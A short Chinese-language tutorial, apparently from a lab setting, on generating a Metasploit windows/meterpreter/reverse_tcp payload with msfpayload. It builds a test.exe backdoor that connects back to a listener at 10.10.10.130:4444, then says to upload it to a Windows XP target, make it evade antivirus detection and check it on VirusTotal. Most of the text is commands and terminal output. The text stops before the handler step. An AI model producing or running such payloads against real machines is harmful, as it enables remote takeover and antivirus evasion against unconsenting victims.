msfpayload的使用方法：

使用msfpayload生成payload：

root@kali:~# msfpayloadUsage: /opt/metasploit/apps/pro/msf3/msfpayload[<options>]<payload><[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>OPTIONS:-hHelp banner-lList available payloads#==>>参看可用的payload：root@kali:~# msfpayload -lFramework Payloads(335total)==============================Name Description ---- ----------- 。。。。。。 。。。。。。#==>>使用某个payload，并且输入“O”（大写字母O）查看选项：root@kali:~# msfpayload windows/meterpreter/reverse_tcp OName: Windows Meterpreter(Reflective Injection), Reverse TCP Stager Module: payload/windows/meterpreter/reverse_tcp Platform: Windows Arch: x86 Needs Admin: No Total size:287Rank: Normal Provided by: skape<mmiller@hick.org>sf<stephen_fewer@harmonysecurity.com>hdm<hdm@metasploit.com>Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC processyesExit technique(accepted: seh, thread, process, none)LHOST10.10.10.130yesThe listen address LPORT4444yesThe listen port Description: Connect back to the attacker, Inject the meterpreter server DLL via the Reflective Dll Injection payload(staged)#==>>LHOST和LPORT都是正确的，直接生成可执行文件root@kali:~# msfpayload windows/meterpreter/reverse_tcp X > test.exeCreated by msfpayload(http://www.metasploit.com). Payload: windows/meterpreter/reverse_tcp Length:287Options:{"LHOST"=>"10.10.10.130"}

将该可执行文件上传到WinXPSP2中，然后进入msf中：

我们用msfpayload直接生成的payload非常容易被检测为木马，这里需要进行下免杀处理。先笔记个网址【 https://www.virustotal.com/zh-cn 】，可以在线检测木马。
